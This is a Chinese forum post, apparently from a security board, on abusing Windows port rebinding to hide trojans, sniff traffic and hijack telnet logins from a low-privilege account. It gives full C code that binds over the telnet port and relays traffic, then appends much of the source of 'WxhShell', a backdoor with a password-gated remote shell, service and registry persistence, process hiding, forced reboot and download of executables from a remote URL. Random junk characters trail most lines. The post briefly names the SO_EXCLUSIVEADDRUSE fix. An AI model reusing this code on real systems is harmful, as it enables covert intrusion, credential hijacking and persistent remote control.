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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U76:F?MH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); frGUT#9?n  
(S9"(\A  
  saddr.sin_family = AF_INET; XV+BSW7}  
i<=@ 7W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X Phw0aV  
Blaj07K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r>osa3N'  
<_42h|-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q^0K8>G^  
ncS^NH(&  
  这意味着什么?意味着可以进行如下的攻击: D:.^]o[  
S93NsrBbY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C"0gAN  
@6t3Us~/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zsf<)Vx  
/B}]{bcp$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fb-NG.Z#  
LM*9b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +.>O%pNj  
z!RA=]3h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z39^nGO  
wBeOMA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &dOV0y_  
45ct*w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^Jc~G~x4*  
uP+ j_is  
  #include XtQ3$0{*%  
  #include uiiA)j*!  
  #include drb_GT  
  #include    0imz }Z]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L6Ynid.k  
  int main() pCpj#+|_)  
  { aIqNNR  
  WORD wVersionRequested; Ww8C![ ,  
  DWORD ret; u# %7>=  
  WSADATA wsaData; }Pw5*duq  
  BOOL val; egP3q5~  
  SOCKADDR_IN saddr; k W-5H;>  
  SOCKADDR_IN scaddr; NWoZDsu  
  int err; QP\vN|r  
  SOCKET s; X)nOY*  
  SOCKET sc; I~q}M!v~  
  int caddsize; %t<Y6*g  
  HANDLE mt; Y-9]J(  
  DWORD tid;   1J<-P9 vk+  
  wVersionRequested = MAKEWORD( 2, 2 ); ef53~x  
  err = WSAStartup( wVersionRequested, &wsaData ); Odbjl[>k  
  if ( err != 0 ) { a"WnBdFZ  
  printf("error!WSAStartup failed!\n"); ~vF.k,  
  return -1; q*'hSt@+D  
  } ^//N-?Fx  
  saddr.sin_family = AF_INET; :mg#&MZj<  
   Dvx"4EA{7{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A= ,q&  
K-vso4@BJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TOBAh.1  
  saddr.sin_port = htons(23); t^h>~o' \  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G~m(&,:Mu  
  { 59EAqz[:  
  printf("error!socket failed!\n"); *[vf47)r!  
  return -1; Gg-<3z  
  } ` 0\hm`  
  val = TRUE; Z?v9ub~%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ? 4.W _  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y()#FRp7  
  { .Hgiru&  
  printf("error!setsockopt failed!\n"); HP?e?3.T  
  return -1; 5_`.9@eh.  
  } /&kTVuN"(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 071w o7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FPcgQ v;p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 65<p:  
C?E;sRr0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f$H"|Mb e  
  { lezdJ  
  ret=GetLastError(); F.@yNr"  
  printf("error!bind failed!\n"); TmQ2;3%  
  return -1; VvoJ85  
  } uIWCVR8`Y  
  listen(s,2); 2b3*zB*@V  
  while(1) y XS/3_A{  
  { if `/LJsa  
  caddsize = sizeof(scaddr); :$9 4y{  
  //接受连接请求 }4bwLO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Dnd  
  if(sc!=INVALID_SOCKET) s"sX# l[J  
  { y:v0& 9L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q.g!WLiI  
  if(mt==NULL) M8g=t[\  
  { 1F$a My?  
  printf("Thread Creat Failed!\n"); YemOP9  
  break; 0~FX!1;  
  } F*]AjD-  
  } $jw!DrE  
  CloseHandle(mt); ^&cI+xZ2Y  
  } >\>HRyt%  
  closesocket(s); yV`!Fq 1k  
  WSACleanup(); SJy?^  
  return 0; &Nec(q<  
  }   J 0s8vAs  
  DWORD WINAPI ClientThread(LPVOID lpParam) p*dez!  
  { O^e !<bBd  
  SOCKET ss = (SOCKET)lpParam; ?.,cWKGQ}  
  SOCKET sc; A\:=p  
  unsigned char buf[4096]; X*8U%uF  
  SOCKADDR_IN saddr; ]jy6C'Mp  
  long num; yJKezIL\z  
  DWORD val; 1x\%VtO>\b  
  DWORD ret; b"f4}b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +J#H9>To!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ETtK%%F0  
  saddr.sin_family = AF_INET; ls/:/x(5d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \x|(`;{  
  saddr.sin_port = htons(23); {yfG_J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kvo741RO6  
  { [F6=JZ  
  printf("error!socket failed!\n"); 3z5,4ps  
  return -1; t[^}/ S  
  } X @\! \  
  val = 100; g0ug:- R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) - +>~  
  { t(ZiQ<A  
  ret = GetLastError(); }~A-ELe:  
  return -1; A70_hhP  
  } {N _v4})  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,ciNoP*-~%  
  { hL8QA!  
  ret = GetLastError(); MiRMjQ2  
  return -1; ^ ]`<nO  
  } O?{pln  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ||/noUK  
  { QtX ->6P>  
  printf("error!socket connect failed!\n"); Omh(UHZBB  
  closesocket(sc); IOfo]p-  
  closesocket(ss); ~v<r\8`OI2  
  return -1; 9{>m04888  
  } R?I(f(ib   
  while(1) Q <78< #I  
  { M g;;o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R;,&CQUl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^]Gt<_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5M*ZZ+YX  
  num = recv(ss,buf,4096,0); RtF_p {s  
  if(num>0) > m5j.GP;  
  send(sc,buf,num,0); /#Ew{RvW'  
  else if(num==0) q A G0t{K  
  break; C \}m_`MR  
  num = recv(sc,buf,4096,0); Que)kjp  
  if(num>0) |e+I5  
  send(ss,buf,num,0); 46$u}"E  
  else if(num==0) q>H!?zi\Hy  
  break; U); ,Opr  
  } N|Rlb5\  
  closesocket(ss); O9g{XhMv>f  
  closesocket(sc); b z<wihZj  
  return 0 ; I.\u2B/?  
  } \yM[?/<  
o_={xrmIA  
i?mDR$X:  
========================================================== 6!+"7r6  
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下边附上一个代码,,WXhSHELL #Dy;x\a  
}*? e w  
========================================================== s7&% _!4  
} |sP;Rpu  
#include "stdafx.h" [q_Yf!(m-  
~6@~fhu  
#include <stdio.h> `~*qjA  
#include <string.h> LsBDfp5/  
#include <windows.h> E9 q8tE}  
#include <winsock2.h> 2Ie50U  
#include <winsvc.h> ~1}NQa(  
#include <urlmon.h> WL$WWA08_  
6 rmK_Y  
#pragma comment (lib, "Ws2_32.lib") abI[J]T9G  
#pragma comment (lib, "urlmon.lib") o5zth^p[  
{!E<hQ2<$9  
#define MAX_USER   100 // 最大客户端连接数 )zr/9aV  
#define BUF_SOCK   200 // sock buffer X'iki4  
#define KEY_BUFF   255 // 输入 buffer t}TtWI  
BHU(Hd  
#define REBOOT     0   // 重启 KnU"49  
#define SHUTDOWN   1   // 关机 EmY8AN(*  
t6 js@Ih  
#define DEF_PORT   5000 // 监听端口 >5]Xl*{H)  
vA+RZ  
#define REG_LEN     16   // 注册表键长度 m>UJ; F  
#define SVC_LEN     80   // NT服务名长度 !Ng^k>*h  
f~"3#MaV  
// 从dll定义API (|bht0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zW+Y{^hf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rLP4l~V   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  rro,AS}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E<~/AReo  
a}e7Q<cGj  
// wxhshell配置信息 y ?Q"-o (  
struct WSCFG { }S%a]  
  int ws_port;         // 监听端口 e2Xx7*vS  
  char ws_passstr[REG_LEN]; // 口令 m#8KCZS  
  int ws_autoins;       // 安装标记, 1=yes 0=no )vy<q/o+  
  char ws_regname[REG_LEN]; // 注册表键名 O|av(F9  
  char ws_svcname[REG_LEN]; // 服务名 %yptML9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )[zyvU. J3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )w/f 'fq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -?@ $`{-K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @Z.Ne:*J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J'2R-CI,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZZlR:D  
:B"'49Q`  
}; +n)(\k{  
i 0L7`TB  
// default Wxhshell configuration Zwq uS9  
struct WSCFG wscfg={DEF_PORT, PqvwM2}4  
    "xuhuanlingzhe", $aGK8%.O  
    1, W*8D@a0 _  
    "Wxhshell", 1eT|  
    "Wxhshell", _+^3<MT  
            "WxhShell Service", 4N#0w]_,>Y  
    "Wrsky Windows CmdShell Service", z*x6V0'yt  
    "Please Input Your Password: ", LzgD#Kz  
  1, HqN|CwGgJ:  
  "http://www.wrsky.com/wxhshell.exe", '}XW  
  "Wxhshell.exe" u1nv'\*  
    }; c~c3;  
xaS kn  
// 消息定义模块 $H5PB' b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L@G)K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SHwl^qVk[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tkJ/ h<  
char *msg_ws_ext="\n\rExit."; R %}k52`  
char *msg_ws_end="\n\rQuit."; 9Z#37)  
char *msg_ws_boot="\n\rReboot..."; So!1l7b  
char *msg_ws_poff="\n\rShutdown..."; hvpn=0@ M  
char *msg_ws_down="\n\rSave to "; %/'[GC'y!  
XY%8yII6  
char *msg_ws_err="\n\rErr!"; iUl{_vb  
char *msg_ws_ok="\n\rOK!"; #0^Q UOp  
/$q;-/DnTZ  
char ExeFile[MAX_PATH]; ]qpcA6%a|  
int nUser = 0; rJNf&x%6  
HANDLE handles[MAX_USER]; Y!Z@1V`  
int OsIsNt; J-X5n 3I&  
]enqkiS  
SERVICE_STATUS       serviceStatus; !!` zz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O<%U*:B  
_&BnET  
// 函数声明 N ~ LR  
int Install(void); \HH|{   
int Uninstall(void); #XmN&83_  
int DownloadFile(char *sURL, SOCKET wsh); u1<xt1K  
int Boot(int flag); $_)f|\s  
void HideProc(void); blp)a  
int GetOsVer(void); 9jvg[ H  
int Wxhshell(SOCKET wsl); /M'b137  
void TalkWithClient(void *cs); XK&#K? M  
int CmdShell(SOCKET sock); >EMCG.**  
int StartFromService(void); Ye )(9  
int StartWxhshell(LPSTR lpCmdLine); mexI }  
'TbA^U[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )6AOP-M.9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r Ssv^W+  
k $+&  
// 数据结构和表定义 huN(Q{fj  
SERVICE_TABLE_ENTRY DispatchTable[] = @MN>ye'T  
{ {0QA+[Yd&!  
{wscfg.ws_svcname, NTServiceMain}, WG^D$L:  
{NULL, NULL} Y ,}p  
}; !`aodz*PO  
VK|!aqA{b  
// 自我安装 T;FzKfT|  
int Install(void) ? X:RrZ:/  
{ `zep`j&8^  
  char svExeFile[MAX_PATH]; NS&~n^*k<  
  HKEY key; 8 3<kaeu,^  
  strcpy(svExeFile,ExeFile); i[YYR,X|  
QZwRg&d<o  
// 如果是win9x系统,修改注册表设为自启动 _IY)<'d  
if(!OsIsNt) { tKJ) 'v?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gn_v}31d%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -''vxt?7H&  
  RegCloseKey(key); 525xm"Bs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 134wK]d^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sH&8"5BT%  
  RegCloseKey(key); B3yn:=80  
  return 0; >U) ,^H(  
    } j5ui  
  } o/&:w z  
} C8n1j2G\  
else { zZE?G:isR  
-R\}Q"  
// 如果是NT以上系统,安装为系统服务 ?2G^6>O `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mKn[>M1  
if (schSCManager!=0) ' u0{h  
{ n*;mFV0s  
  SC_HANDLE schService = CreateService 16aaIK  
  ( .y'OoDe  
  schSCManager, K}$PIW  
  wscfg.ws_svcname, j}ruXg  
  wscfg.ws_svcdisp, vhUuf+P*  
  SERVICE_ALL_ACCESS, (d!vm\-PH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ads^y`b  
  SERVICE_AUTO_START, Bq2}nDP  
  SERVICE_ERROR_NORMAL, LLU>c]a  
  svExeFile, $iF7hyZ  
  NULL, 9r)5d&,6  
  NULL, rAQ^:q  
  NULL, $~9U-B\  
  NULL, ( NiuAy  
  NULL U O[p   
  ); m<076O4|`  
  if (schService!=0) [Zua7&(5  
  { D@W m-  
  CloseServiceHandle(schService); KztF#[64W^  
  CloseServiceHandle(schSCManager); +B&FZ4'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G-:DMjvN  
  strcat(svExeFile,wscfg.ws_svcname); WK<pZ *x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9GQTe1[t4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GvVuFS>y  
  RegCloseKey(key); k5PzY!N  
  return 0; Dk7"#q@kx  
    } E3KP jK  
  } SE/@li  
  CloseServiceHandle(schSCManager); _p~ `nQ=7  
} 2OZdj  
} _e-a>y  
p4el9O&-tV  
return 1; 2<J82(4j  
} &!_Ko`b8K  
Ao]F_hZ  
// 自我卸载 0umfC  
int Uninstall(void) e~}+.B0  
{ \(A>~D8Fo  
  HKEY key; 'i@Y #F%D  
Fm2t:,=  
if(!OsIsNt) { wDSU~\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0u0Hl%nl  
  RegDeleteValue(key,wscfg.ws_regname); 2s(K4~ee  
  RegCloseKey(key); !-7(.i-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Q%3=pm_  
  RegDeleteValue(key,wscfg.ws_regname); "w7:{E5e  
  RegCloseKey(key); =!{dKz-&  
  return 0; -'I)2/%g  
  } "o TwMU  
} J5l:_hZUV  
} jwE<}y I  
else { *vj5J"Y(;t  
(d~'H{q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8EP^M~rv  
if (schSCManager!=0) RZz].Nx  
{ |e pe;/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~E`l4'g?  
  if (schService!=0) }SOj3.9{c  
  { 9PGSr4V 1  
  if(DeleteService(schService)!=0) { f^]2qoN  
  CloseServiceHandle(schService); MW&;{m?2(  
  CloseServiceHandle(schSCManager); Fs=nAn#  
  return 0; ]w')~yk  
  } $AX!L+<!  
  CloseServiceHandle(schService); u4Xrvfb,  
  } "OWq]q#  
  CloseServiceHandle(schSCManager); 1f~D Uku=  
} 2R1W[,Ga!  
} +-{H T+W  
K3@UoR  
return 1; t[DXG2&  
} )X7ZX#ttH  
vUCU%>F  
// 从指定url下载文件  a1j 6-p  
int DownloadFile(char *sURL, SOCKET wsh) Jl4zj>8~  
{ yX)2 hj:s  
  HRESULT hr; x2nNkd0h  
char seps[]= "/"; ;=E3f^'s  
char *token; KQ2]VN"?_  
char *file; %f>V\z_C  
char myURL[MAX_PATH]; 3)`}#`T  
char myFILE[MAX_PATH];  %RJW@~!  
6x.#K9@q4  
strcpy(myURL,sURL); B,A/ -B\  
  token=strtok(myURL,seps); ,iHl;3bu  
  while(token!=NULL) MbJV)*Q  
  { /]vg_&)=  
    file=token; 19lx;^b  
  token=strtok(NULL,seps); Dui<$jl0b  
  } }t-{,0  
7.]xcJmt>'  
GetCurrentDirectory(MAX_PATH,myFILE); iaR'):TD  
strcat(myFILE, "\\"); rv\<Q-uQ8  
strcat(myFILE, file); <vPIC G)  
  send(wsh,myFILE,strlen(myFILE),0); i|2Q}$3t2  
send(wsh,"...",3,0); s^E%Uk m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ++FMkeHZ  
  if(hr==S_OK) gE%-Pf~  
return 0; =*I>MgCJ  
else dvUJk<;w  
return 1; uODpIxN  
J \G8 g,@  
} N7[i443a  
v/(< fI^  
// 系统电源模块 0/),ylCj  
int Boot(int flag) T3Tk:r  
{ 0chBw~@*s  
  HANDLE hToken; Iunt!L  
  TOKEN_PRIVILEGES tkp; 7?F0~[eGG  
?6a:!^eL  
  if(OsIsNt) { 6@ nEcr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F+}MW/ra@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x0 3|L!n  
    tkp.PrivilegeCount = 1; =>ignoeI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NB LOcRSh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (h2bxfV~+  
if(flag==REBOOT) { UW40Y3W0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \N!k)6\  
  return 0; whD%Oz*f  
} F9Mv$ g79  
else { &%FpNU9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0OlB;  
  return 0; IV!&jL  
} I]zCsT.  
  } ) |*HkdF`  
  else { QQ pe.oF  
if(flag==REBOOT) { ;K`qSX;;c(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3F<My+J  
  return 0; rrmr#a  
} 9.>v ;:vL  
else { L0Xb^vx}m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T?Hs_u{  
  return 0; /}(w{6C  
} S_1R]n1/  
} l'mgjv~  
5a_1x|Fhi  
return 1; Dy5'm?  
} z0doL b^!  
Xul<,U~w6  
// win9x进程隐藏模块 c"6<p5j!  
void HideProc(void) U Tw\_s  
{ ~6E `6;`  
U%"v7G-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uh@ZHef[l  
  if ( hKernel != NULL ) t13wQ t  
  { tP7l ;EX4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^!?W!k!:V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UoBmS 5  
    FreeLibrary(hKernel); 1Hk`i%  
  } O~trv,?)  
1iig0l6\m  
return; <`n T+c  
} j l%27Ld  
wxN'Lv=R  
// 获取操作系统版本 t4~Bn<=  
int GetOsVer(void) P^T]Ubv"  
{ &n91f  
  OSVERSIONINFO winfo; c|IH|y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &Z#g/Hc  
  GetVersionEx(&winfo); NRgNh5/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'z>|N{-xG  
  return 1; FK{Vnj0  
  else ]u G9WT6l  
  return 0; L;wzvz\+  
} Jvgx+{Xu  
tg.[.v Ks  
// 客户端句柄模块 Fzt{^%\`  
int Wxhshell(SOCKET wsl) lN -vFna  
{ <$qe2Ft Uq  
  SOCKET wsh; ^ yyL4{/  
  struct sockaddr_in client; !^:b?M  
  DWORD myID; NirG99kyo  
r[ni{ &  
  while(nUser<MAX_USER) JPR o<jt=  
{ Z vM~]8m  
  int nSize=sizeof(client);  MV'q_{J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ..)O/g.  
  if(wsh==INVALID_SOCKET) return 1; aHuZzYQ*"j  
K!=Y4"5%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 33:{IV;k  
if(handles[nUser]==0) 6Q"fRXM   
  closesocket(wsh); Gx,<|v  
else 7A<X!a  
  nUser++; "**Tw'  
  } 4"at~K` Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Py_yIwQqg  
p.~hZ+ x_  
  return 0; I($0&Y\De  
} *6IytW OX5  
8Qd*OO  
// 关闭 socket o9*}>J<+RQ  
void CloseIt(SOCKET wsh) +" |?P  
{ z10J8Ms'  
closesocket(wsh); #Ie/|  
nUser--; aQzx^%B1  
ExitThread(0); lkl+o&D9  
} td@I ;d2  
`n)e] dn  
// 客户端请求句柄 d< j+a1&  
void TalkWithClient(void *cs) Gl; xd  
{ =r:(ga  
v P;  
  SOCKET wsh=(SOCKET)cs; A6eIf  
  char pwd[SVC_LEN]; EX@wenR  
  char cmd[KEY_BUFF]; gc,%A'OR^<  
char chr[1]; h9-^aB$8^  
int i,j; wIeF(}VM  
ktF\f[  
  while (nUser < MAX_USER) { vLCyT=OB`  
C%&A9(jG  
if(wscfg.ws_passstr) { s3<gq x-&r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =[5F~--Tf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eO%w i.Q  
  //ZeroMemory(pwd,KEY_BUFF); lZ gX{  
      i=0; Z{XF!pS%H  
  while(i<SVC_LEN) { 5! -+5TJI  
ZP-^10  
  // 设置超时 FWC\(f  
  fd_set FdRead; n4Xh}KtH  
  struct timeval TimeOut; %'o'Kh''=  
  FD_ZERO(&FdRead); Y2$wL9">  
  FD_SET(wsh,&FdRead); U</Vcz  
  TimeOut.tv_sec=8; `-Y8T\  
  TimeOut.tv_usec=0; IX+!+XC"U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q%>6u@'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )@(IhU )  
q8 &\;GK|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f^Io:V\  
  pwd=chr[0]; t9l]ie{"o.  
  if(chr[0]==0xd || chr[0]==0xa) { W?TvdeBx  
  pwd=0; VcX89c4\  
  break; 'Hf+Y/`  
  } <DR$WsDG  
  i++; 12]rfd   
    } Dm{9;Abs%  
p ; ]Qxh  
  // 如果是非法用户,关闭 socket xB :]{9r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pf% yEz  
} #|j8vmfn$e  
a=_:`S]}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E|_J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w 3kX!%a:  
LS:^K  
while(1) { 7H])2:)  
3le$0f:O  
  ZeroMemory(cmd,KEY_BUFF); GD-L0kw5  
'><I|c}  
      // 自动支持客户端 telnet标准   DMdVE P"m  
  j=0; tn 38T%  
  while(j<KEY_BUFF) { u7nTk'#r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); He9Er  
  cmd[j]=chr[0]; #=uV, dw  
  if(chr[0]==0xa || chr[0]==0xd) { u(W>HVEG  
  cmd[j]=0; vC^Ul  
  break; -y|*x-iZ  
  } P(xgIMc H  
  j++; Se}&2 R  
    } L/ g8@G ;  
zFi)R }Ot  
  // 下载文件 :P8X?C63W]  
  if(strstr(cmd,"http://")) { l6T^e@*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y0]"qB  
  if(DownloadFile(cmd,wsh)) FFtB#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZHM NG~!  
  else )k[{re  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xl,707  
  } ]y9u5H^  
  else { \RS0mb  
H#H[8#  
    switch(cmd[0]) { O $ARk+  
  JA09 o(  
  // 帮助 :JXGgl<y  
  case '?': { Ua.%?V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vd;N T$S$  
    break; bn:74,GeyK  
  } a9_KoOa.H  
  // 安装 1lYQR`Uh  
  case 'i': { NOSL b];  
    if(Install()) Hb3..o:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %bp'`B=  
    else ^U9b)KA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HDi_|{2^  
    break; "cwvx8un  
    } K BlJJH`z{  
  // 卸载 /$d #9Uv  
  case 'r': { 6 \?GY  
    if(Uninstall()) V'FKgzd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Xk/<It  
    else .6c Bx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OIs!,G|  
    break; U!jRF  
    } LJSx~)@  
  // 显示 wxhshell 所在路径 ]+5Y\~I  
  case 'p': { yu}T><Wst  
    char svExeFile[MAX_PATH]; w~~[0e+E  
    strcpy(svExeFile,"\n\r"); 5mX"0a_Q  
      strcat(svExeFile,ExeFile); T"DG$R,Aj  
        send(wsh,svExeFile,strlen(svExeFile),0); /%F5u}eW  
    break; p4uN+D `.U  
    } BPSi e0  
  // 重启 P N(<=v&E  
  case 'b': { JMfv|>=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gm$<U9L\v  
    if(Boot(REBOOT)) =, 64Qbau  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &`}d;r|yn1  
    else { yu jv^2/  
    closesocket(wsh); A |P wm`  
    ExitThread(0); S;" $02]  
    } J;k8 a2$_  
    break; `j4OKZ  
    } r*c x_**  
  // 关机 ~H4Tr[8a  
  case 'd': { Q sPZ dC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -sx=1+\nf  
    if(Boot(SHUTDOWN)) nTE\EZ+=2  
